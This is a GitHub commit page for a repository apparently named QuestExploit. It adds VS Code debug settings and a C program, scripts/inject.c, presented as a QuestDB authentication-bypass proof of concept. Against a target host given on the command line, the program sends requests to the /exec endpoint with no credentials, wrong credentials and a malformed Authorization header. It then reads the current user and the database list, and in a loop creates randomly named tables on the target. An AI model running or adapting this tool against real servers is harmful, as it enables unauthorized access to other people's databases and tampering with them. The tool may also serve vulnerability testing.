Skip to content

Commit 4ae8880

Browse files
committed
feat: 添加QuestDB认证绕过POC和SQL注入脚本
添加用于演示QuestDB认证绕过漏洞的概念验证脚本,包括以下功能: - 测试无凭证访问 - 测试错误凭证和畸形Authorization头 - 执行系统信息查询 - 自动生成随机表进行注入测试 - 添加VS Code调试配置文件
1 parent 0a54f9a commit 4ae8880

4 files changed

Lines changed: 347 additions & 0 deletions

File tree

.vscode/c_cpp_properties.json

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
{
2+
"configurations": [
3+
{
4+
"name": "macos-clang-arm64",
5+
"includePath": [
6+
"${workspaceFolder}/**"
7+
],
8+
"compilerPath": "/usr/bin/clang",
9+
"cStandard": "${default}",
10+
"cppStandard": "c++20",
11+
"intelliSenseMode": "macos-clang-arm64",
12+
"compilerArgs": [
13+
""
14+
]
15+
}
16+
],
17+
"version": 4
18+
}

.vscode/launch.json

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "C/C++ Runner: Debug Session",
6+
"type": "lldb",
7+
"request": "launch",
8+
"args": [],
9+
"cwd": "/Users/johnmelodyme/Documents/ctkqiang/QuestExploit/scripts",
10+
"program": "/Users/johnmelodyme/Documents/ctkqiang/QuestExploit/scripts/build/Debug/outDebug"
11+
}
12+
]
13+
}

.vscode/settings.json

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"C_Cpp_Runner.cCompilerPath": "clang",
3+
"C_Cpp_Runner.cppCompilerPath": "clang++",
4+
"C_Cpp_Runner.debuggerPath": "lldb",
5+
"C_Cpp_Runner.cStandard": "",
6+
"C_Cpp_Runner.cppStandard": "c++20",
7+
"C_Cpp_Runner.msvcBatchPath": "",
8+
"C_Cpp_Runner.useMsvc": false,
9+
"C_Cpp_Runner.warnings": [
10+
"-Wall",
11+
"-Wextra",
12+
"-Wpedantic",
13+
"-Wshadow",
14+
"-Wformat=2",
15+
"-Wcast-align",
16+
"-Wconversion",
17+
"-Wsign-conversion",
18+
"-Wnull-dereference"
19+
],
20+
"C_Cpp_Runner.msvcWarnings": [
21+
"/W4",
22+
"/permissive-",
23+
"/w14242",
24+
"/w14287",
25+
"/w14296",
26+
"/w14311",
27+
"/w14826",
28+
"/w44062",
29+
"/w44242",
30+
"/w14905",
31+
"/w14906",
32+
"/w14263",
33+
"/w44265",
34+
"/w14928"
35+
],
36+
"C_Cpp_Runner.enableWarnings": true,
37+
"C_Cpp_Runner.warningsAsError": false,
38+
"C_Cpp_Runner.compilerArgs": [],
39+
"C_Cpp_Runner.linkerArgs": [],
40+
"C_Cpp_Runner.includePaths": [],
41+
"C_Cpp_Runner.includeSearch": [
42+
"*",
43+
"**/*"
44+
],
45+
"C_Cpp_Runner.excludeSearch": [
46+
"**/build",
47+
"**/build/**",
48+
"**/.*",
49+
"**/.*/**",
50+
"**/.vscode",
51+
"**/.vscode/**"
52+
],
53+
"C_Cpp_Runner.useAddressSanitizer": false,
54+
"C_Cpp_Runner.useUndefinedSanitizer": false,
55+
"C_Cpp_Runner.useLeakSanitizer": false,
56+
"C_Cpp_Runner.showCompilationTime": false,
57+
"C_Cpp_Runner.useLinkTimeOptimization": false,
58+
"C_Cpp_Runner.msvcSecureNoWarnings": false
59+
}

scripts/inject.c

Lines changed: 257 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,257 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <time.h>
6+
#include <getopt.h>
7+
#include <curl/curl.h>
8+
9+
#define DEFAULT_PORT 9000
10+
#define MAX_URL_LEN 512
11+
#define MAX_QUERY_LEN 1024
12+
#define RAND_CHARS "abcdefghijklmnopqrstuvwxyz"
13+
14+
struct MemoryStruct {
15+
char *memory_buffer;
16+
size_t memory_size;
17+
};
18+
19+
static size_t WriteMemoryCallback(void *content_data, size_t element_size, size_t element_count, void *user_data) {
20+
size_t total_size = element_size * element_count;
21+
struct MemoryStruct *memory_struct = (struct MemoryStruct *)user_data;
22+
23+
char *reallocated_memory = realloc(memory_struct->memory_buffer, memory_struct->memory_size + total_size + 1);
24+
if (!reallocated_memory) {
25+
fprintf(stderr, "内存不足\n");
26+
return 0;
27+
}
28+
29+
memory_struct->memory_buffer = reallocated_memory;
30+
memcpy(&(memory_struct->memory_buffer[memory_struct->memory_size]), content_data, total_size);
31+
memory_struct->memory_size += total_size;
32+
memory_struct->memory_buffer[memory_struct->memory_size] = 0;
33+
34+
return total_size;
35+
}
36+
37+
char *http_get_request(const char *request_url, const char *user_credentials, const char *custom_header) {
38+
CURL *curl_handle;
39+
CURLcode curl_result;
40+
struct MemoryStruct response_chunk;
41+
response_chunk.memory_buffer = malloc(1);
42+
response_chunk.memory_size = 0;
43+
44+
curl_global_init(CURL_GLOBAL_ALL);
45+
curl_handle = curl_easy_init();
46+
if (!curl_handle) {
47+
fprintf(stderr, "curl 初始化失败\n");
48+
free(response_chunk.memory_buffer);
49+
return NULL;
50+
}
51+
52+
curl_easy_setopt(curl_handle, CURLOPT_URL, request_url);
53+
curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
54+
curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&response_chunk);
55+
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, 10L);
56+
57+
if (user_credentials) {
58+
curl_easy_setopt(curl_handle, CURLOPT_USERPWD, user_credentials);
59+
}
60+
61+
if (custom_header) {
62+
struct curl_slist *http_headers = NULL;
63+
http_headers = curl_slist_append(http_headers, custom_header);
64+
curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, http_headers);
65+
}
66+
67+
curl_result = curl_easy_perform(curl_handle);
68+
if (curl_result != CURLE_OK) {
69+
fprintf(stderr, "curl 请求失败: %s\n", curl_easy_strerror(curl_result));
70+
free(response_chunk.memory_buffer);
71+
response_chunk.memory_buffer = NULL;
72+
}
73+
74+
curl_easy_cleanup(curl_handle);
75+
curl_global_cleanup();
76+
return response_chunk.memory_buffer;
77+
}
78+
79+
void generate_random_string(char *buffer, size_t length) {
80+
static const char charset[] = RAND_CHARS;
81+
for (size_t i = 0; i < length; i++) {
82+
int random_index = rand() % (int)(sizeof(charset) - 1);
83+
buffer[i] = charset[random_index];
84+
}
85+
buffer[length] = '\0';
86+
}
87+
88+
void inject_test_tables(const char *target_host, int loop_count) {
89+
char base_exec_url[MAX_URL_LEN];
90+
if (strncmp(target_host, "http://", 7) == 0 || strncmp(target_host, "https://", 8) == 0) {
91+
snprintf(base_exec_url, sizeof(base_exec_url), "%s/exec", target_host);
92+
} else {
93+
snprintf(base_exec_url, sizeof(base_exec_url), "http://%s:%d/exec", target_host, DEFAULT_PORT);
94+
}
95+
96+
srand(time(NULL));
97+
for (int iteration = 0; iteration < loop_count; iteration++) {
98+
int table_name_length = 5 + rand() % 6;
99+
char table_name[16];
100+
generate_random_string(table_name, table_name_length);
101+
102+
int column_count = 2 + rand() % 9;
103+
char create_table_query[MAX_QUERY_LEN] = "CREATE TABLE ";
104+
strcat(create_table_query, table_name);
105+
strcat(create_table_query, " (");
106+
107+
for (int column_index = 0; column_index < column_count; column_index++) {
108+
char column_name[8];
109+
generate_random_string(column_name, 5);
110+
strcat(create_table_query, column_name);
111+
strcat(create_table_query, " INT");
112+
if (column_index < column_count - 1) strcat(create_table_query, ", ");
113+
}
114+
strcat(create_table_query, ");");
115+
116+
CURL *curl_handle = curl_easy_init();
117+
if (!curl_handle) {
118+
fprintf(stderr, "curl 初始化失败\n");
119+
return;
120+
}
121+
char *url_encoded_query = curl_easy_escape(curl_handle, create_table_query, 0);
122+
if (!url_encoded_query) {
123+
fprintf(stderr, "URL 编码失败\n");
124+
curl_easy_cleanup(curl_handle);
125+
return;
126+
}
127+
128+
char full_request_url[MAX_URL_LEN + MAX_QUERY_LEN + 16];
129+
snprintf(full_request_url, sizeof(full_request_url), "%s?query=%s", base_exec_url, url_encoded_query);
130+
curl_free(url_encoded_query);
131+
curl_easy_cleanup(curl_handle);
132+
133+
char *http_response = http_get_request(full_request_url, NULL, NULL);
134+
if (http_response) {
135+
printf("[%s] 正在注入表: %s | 响应长度: %zu\n", __TIME__, table_name, strlen(http_response));
136+
free(http_response);
137+
} else {
138+
printf("[%s] 正在注入表: %s | 请求失败\n", __TIME__, table_name);
139+
}
140+
usleep(100000);
141+
}
142+
}
143+
144+
int main(int argc, char *argv[]) {
145+
char *target_host = NULL;
146+
int loop_count = 1;
147+
int command_option;
148+
149+
while ((command_option = getopt(argc, argv, "u:l:")) != -1) {
150+
switch (command_option) {
151+
case 'u':
152+
target_host = optarg;
153+
break;
154+
case 'l':
155+
loop_count = atoi(optarg);
156+
if (loop_count <= 0) loop_count = 1;
157+
break;
158+
default:
159+
fprintf(stderr, "用法: %s -u <主机地址> [-l <循环次数>]\n", argv[0]);
160+
return 1;
161+
}
162+
}
163+
164+
if (!target_host) {
165+
fprintf(stderr, "错误: 必须指定 -u 参数\n");
166+
return 1;
167+
}
168+
169+
char base_exec_url[MAX_URL_LEN];
170+
if (strncmp(target_host, "http://", 7) == 0 || strncmp(target_host, "https://", 8) == 0) {
171+
snprintf(base_exec_url, sizeof(base_exec_url), "%s/exec", target_host);
172+
} else {
173+
snprintf(base_exec_url, sizeof(base_exec_url), "http://%s:%d/exec", target_host, DEFAULT_PORT);
174+
}
175+
176+
printf("[*] QuestDB Authentication Bypass POC + SQL Injection\n");
177+
printf("[*] 目标: %s\n", target_host);
178+
printf("\n");
179+
180+
printf("[1] 测试无凭证访问...\n");
181+
char *no_credential_response = http_get_request(base_exec_url, NULL, NULL);
182+
if (no_credential_response) {
183+
printf("%s\n", no_credential_response);
184+
free(no_credential_response);
185+
} else {
186+
printf("请求失败\n");
187+
}
188+
printf("\n");
189+
190+
printf("[2] 测试错误凭证 (wrong:wrong)...\n");
191+
char *wrong_credential_response = http_get_request(base_exec_url, "wrong:wrong", NULL);
192+
if (wrong_credential_response) {
193+
printf("%s\n", wrong_credential_response);
194+
free(wrong_credential_response);
195+
} else {
196+
printf("请求失败\n");
197+
}
198+
printf("\n");
199+
200+
printf("[3] 测试畸形 Authorization 头...\n");
201+
char *malformed_header_response = http_get_request(base_exec_url, NULL, "Authorization: Basic invalid");
202+
if (malformed_header_response) {
203+
printf("%s\n", malformed_header_response);
204+
free(malformed_header_response);
205+
} else {
206+
printf("请求失败\n");
207+
}
208+
printf("\n");
209+
210+
printf("[4] 尝试读取系统信息...\n");
211+
CURL *curl_handle = curl_easy_init();
212+
if (curl_handle) {
213+
char *system_info_query = curl_easy_escape(curl_handle, "select current_database(),current_user()", 0);
214+
if (system_info_query) {
215+
char system_info_url[MAX_URL_LEN + 128];
216+
snprintf(system_info_url, sizeof(system_info_url), "%s?query=%s", base_exec_url, system_info_query);
217+
curl_free(system_info_query);
218+
char *system_info_response = http_get_request(system_info_url, NULL, NULL);
219+
if (system_info_response) {
220+
printf("%s\n", system_info_response);
221+
free(system_info_response);
222+
} else {
223+
printf("请求失败\n");
224+
}
225+
}
226+
curl_easy_cleanup(curl_handle);
227+
}
228+
printf("\n");
229+
230+
printf("[5] 获取数据库列表...\n");
231+
curl_handle = curl_easy_init();
232+
if (curl_handle) {
233+
char *databases_query = curl_easy_escape(curl_handle, "show databases", 0);
234+
if (databases_query) {
235+
char databases_url[MAX_URL_LEN + 128];
236+
snprintf(databases_url, sizeof(databases_url), "%s?query=%s", base_exec_url, databases_query);
237+
curl_free(databases_query);
238+
char *databases_response = http_get_request(databases_url, NULL, NULL);
239+
if (databases_response) {
240+
printf("%s\n", databases_response);
241+
free(databases_response);
242+
} else {
243+
printf("请求失败\n");
244+
}
245+
}
246+
curl_easy_cleanup(curl_handle);
247+
}
248+
printf("\n");
249+
printf("[*] POC 完成 - 如果看到查询结果,说明漏洞存在\n");
250+
printf("\n");
251+
252+
printf("正在对 %s 开始注入,共执行 %d 次...\n", target_host, loop_count);
253+
inject_test_tables(target_host, loop_count);
254+
printf("任务完成。\n");
255+
256+
return 0;
257+
}

0 commit comments

Comments
 (0)